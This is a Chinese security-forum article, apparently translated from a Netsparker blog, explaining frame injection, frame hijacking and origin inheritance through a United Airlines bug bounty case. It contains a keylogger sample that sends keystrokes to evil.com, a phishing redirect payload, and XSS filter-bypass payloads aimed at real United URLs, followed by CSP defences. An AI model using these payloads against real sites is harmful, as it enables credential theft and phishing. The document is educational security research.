bug bounty实例：框架注入攻击详解

Pinging / 2019-06-18 06:01:00 / 浏览数 4989 渗透测试 渗透测试 顶(0) 踩(0)

■■■■是一种代码注入漏洞，为OWASP 2017年前十大类A1注入类别。由于跨站脚本具有有效性且容易被利用，所以此漏洞会被bug bounty参与者优先考虑。但恶意黑客也被此漏洞所吸引，因为■■■■攻击允许黑客将用户重定向到用于网络钓鱼和类似攻击的其他恶意网站。
在这篇博文中，受到安全分析师Mustafa Hasan研究的启发，我们探讨了漏洞的其中一个方面。 我们还将对防范措施进行研究讨论。
Hasan是Securemisr的安全顾问，前Netsparker员工和bug bounty参与者。

框架的产生和发展

在框架发明之前，我们可以确定在任何给定的网站上只会遇到一个窗口对象。 但是，向HTML引入框架改变了这一点，因此必须在同一网页上处理多个窗口。
通常框架中的动作（例如单击链接）将直接影响相邻框架。

我们可以想象，当为电子书阅读器的网页设计两个网页框架，而其中一个框架用于查看书籍的目录，而点击该内容的链接将在另一个框架中启动。我们可以通过向锚元素和表

框架的简要历史介绍

在20世纪90年代中期，网页可以在任何给定时间将框架frame重定向到不同的网址。 1999年，安全研究员Georgi Guninski发表了关于框架导航危险的研究。他发现，如果花旗银行的登录页面加载在iframe中，由于当时的frame规则，该frame的地址可能会被另一个窗口中的不同页

2006年，微软开发了一套称为框架导航策略的规则，并在Internet Explorer■■7上实现。根据此政策，为了从不同的网站更改iframe的地址，加载iframe的网站和其他网站必须具有相同的网站。

同源策略（SOP）是一种安全模型，用来管理具有不同来源的网站对其DOM的访问。 SOP比帧导航策略更具限制性，后者允许帧改变彼此的属性。

框架注入的危害

框架注入攻击需要攻击者将框架注入用户的网页。 随着浏览器的发展，此漏洞的影响也发生了变化。
例如，可以从加载在不同窗口中的站点改变Frame内的地址。 之后，使用Keystroke Hijacking等方法捕获使用Frame的用户的键盘活动。
以下是在Internet Explorer 5和6中实现此功能的Cross Frame Scripting示例代码。

```
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
   keystrokes.push(window.event.keyCode);
}
// function which reports keystrokes back to evil.com every second
setInterval(function() {
   if (keystrokes.length) {
       var xhr = newXHR();
       xhr.open("POST", "http://evil.com/k");
       xhr.send(keystrokes.join("+"));
   }
   keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
   if (window.XMLHttpRequest)
       return new XMLHttpRequest();
   return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>
```

先知社区

在现代浏览器中，框架注入攻击产生的最大影响是注入的网站可以将其重定向到不同的URL，从而初始化顶部的导航栏。 这种类型的Frame注入攻击称为`Frame Hijacking`。

Frame Hijacking

`Frame Hijacking`是Frame注入的另一种可能，攻击者可以控制目标网站中iframe元素的src属性。
攻击者只需注入一个URL就可以成功，而不需要列入潜在的黑名单（例如<>“）。以下是此攻击的示例代码：

```
<iframe src="YOUR_ATTACK_PAYLOAD"></iframe>

YOUR_ATTACK_PAYLOAD= http://www.attacker.com/maliciousscript.html

maliciousscript.html
<script>
top.location.href="http://www.attackerphishingsite.com";
          </script>
```

Frame注入与XSS比较

如果攻击者能够使用iframe元素执行``payload，他们可能还能够注入跨站点脚本（XSS）。 所以现代的bug bounty可能会发现这比XSS攻击更有用。

让我们来看看这个典型的bug bounty如何通过检查`Mustafa Hasan 2016`年的漏洞披露来导致错失的机会。
他的故事开始于在美国联合航空公司的网站上搜索廉价航班，当时他回忆起美联航提供了一个错误赏金计划，为报告安全漏洞的研究人员提供免费的飞行计划。
Hasan继续使用他的有效负载攻击输入字段并检查结果，直到他找到了United的所有权下的子域名■`http://checkin.united.com/`■。

美国联合航空公司框架注入详解

当向该子域发出请求时，Hasan意识到该域被重定向到同一域上的不同页面，并且SID参数是在查询字符串中发送的。
在对SID参数进行调查后，他确认该漏洞在六十个区域中均有表现。

使用payload后，Hasan发现其按预期显示在HTML输出中。 但是，他所希望在函数调用后看到的确认框根本没有出现。

```
><svg onload=confirm(1)>"
```

```
="><svg onload=confirm(1)>" style="display: block; margin-top: 4px;">Contact us</a>

ed.com/web/en-US/apps/search/results.aspx?SID="><svg onload=confirm(1)>" method="get"-->

ted.com/web/en-US/apps/search/results.aspx?SID="><svg onload=confirm(1)>"><span class="icon-sitesearch"><span class="sr-only">Submit search</span></span></button>

w.united.com/web/en-US/apps/account/account.aspx?SID="><svg onload=confirm(1)> data-authurl="//www.united.com/ual/en/us/Account/Account/Login?SID="><svg onload=confirm(1)>"

www.united.com/ual/en/us/Default/HomepageLinkContent/_HomepageLinkContentAsync?SID="><svg onload=confirm(1)>"></div>
```

在研究JavaScript代码时，Hasan发现原因。 本机功能（如`alert, confirm, prompt, unescape, write`和`fromCharCode`）被该网站的代码块覆盖。

```
(function () {
    /*
    XSS prevention via JavaScript
    */
    var XSSObject = new Object();
    XSSObject.lockdown = function (obj, name) {
        if (!String.prototype.startsWith) {
            try {
                if (Object.defineProperty) {
                    Object.defineProperty(obj, name, {
                        configurable: false
                    });
                }
            } catch (e) { };
        }
    }
    XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
        var proxy = obj[name];
        obj[name] = function () {
            if (exec_original) {
                return proxy.apply(this, arguments);
            }
        };
        XSSObject.lockdown(obj, name);
    };
    XSSObject.proxy(window, 'alert', 'window.alert', false);
    XSSObject.proxy(window, 'confirm', 'window.confirm', false);
    XSSObject.proxy(window, 'prompt', 'window.prompt', false);
    XSSObject.proxy(window, 'unescape', 'unescape', false);
    XSSObject.proxy(document, 'write', 'document.write', false);
    XSSObject.proxy(String, 'fromCharCode', 'String.fromCharCode', true);
})();
```

他试图删除覆盖的提示功能：

```
<script>delete prompt;prompt(1)</script>
```

然而这不起作用。 因此，Hasan使用文档中具有空src属性的iframe来重置文档中的所有覆盖函数，方法是将它们与iframe窗口对象中的对应函数进行匹配。
这是payload的详细信息：

```
http://checkin.united.com/travel/checkin/start.aspx?SID=<iframe></iframe><body onpageshow=top['locatio'+'n']=top['locatio'+'n'].hash.slice(1)>#javascript:var iframe=document.getElementsByTagName("iframe")[0];window.alert=iframe.contentWindow.alert;alert(document.domain);
```

这是payload的另一个版本，在Brute Logic的帮助下被缩短：

```
http://checkin.united.com/travel/checkin/start.aspx?SID=";}{document.writeIn(decodeURI(location.hash))-"#<iframe src='javascript:top.window.alert = this.alert;alert(document.domain)'
```

虽然他所做的工作是漏洞切入点，但Mustafa Hasan错过了一个可以为他节省大量时间的一点 - 原始继承。

Origin Inheritance

假设我们要查看在网页上在客户端生成的内容。 例如，希望使用JavaScript对用户输入进行一组计算，以便生成某种形式的输出。
我们希望将其视为网页，并以可打印的格式进行排列。 但是，由于所有进程都将在客户端进行，因此我们希望避免向服务器发出请求。

可以使用伪协议生成具有空DOM的网页，例如about:，
javascript:和data■。例如，当我们在Web浏览器的地址栏中调用window.open("about:blank")或键入about■blank并按Enter键时，您的浏览器将生成一个空

有多种方法可以使用伪协议生成此类页面。 其中一种方法是将伪协议分配给iframe的src属性和图像元素。 下面是一个例子：

```
<html>
<body>
<iframe src="javascript:alert(document.domain)"></iframe>
</body>
</html>
```

上面的代码将导致iframe属性成为一个空DOM。 此DOM的文档原始值将从父域继承。 此功能称为“原始继承”。
使用此功能的非常简单的框架注入可以完全实现Mustafa Hasan的冗长payload。

```
<iframe src="javascript:alert(document.domain)"></iframe>
```

上面的payload生成一个新的DOM对象，包括其中没有覆盖的函数。 此外，此资源的来源与加载iframe的目标网站相同。
这意味着它将能够访问目标网站的DOM资源，因为它们具有相同的来源，符合SOP规则。

在所有主流浏览器中，在iframe中调用javascript:的伪协议将导致原始值与父文档的原点相同。 这是在Firefox 66.0.3，Chrome 73.0.3683.103，Internet Explorer 11和Microsoft Edge 44.17763.1.0上测试的。

如何防止框架注入？

内容安全策略（CSP）标头将是防止帧注入攻击的有效方法。 CSP的script-src指令是一个非常有用的工具，可以防止XSS攻击。
同样，CSP的frame-src或child-src指令允许您将加载到页面上的iframe的源列入白名单。 您还可以为它们指定“无”值，以防止加载iframe。

■■■■■■■■■■■https://www.netsparker.com/blog/web-security/frame-injection-attacks/

点击收藏 | 0 关注 | 1
上一篇：Google V8引擎的CVE-2... 下一篇：Windows 平台反调试相关的技...
1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板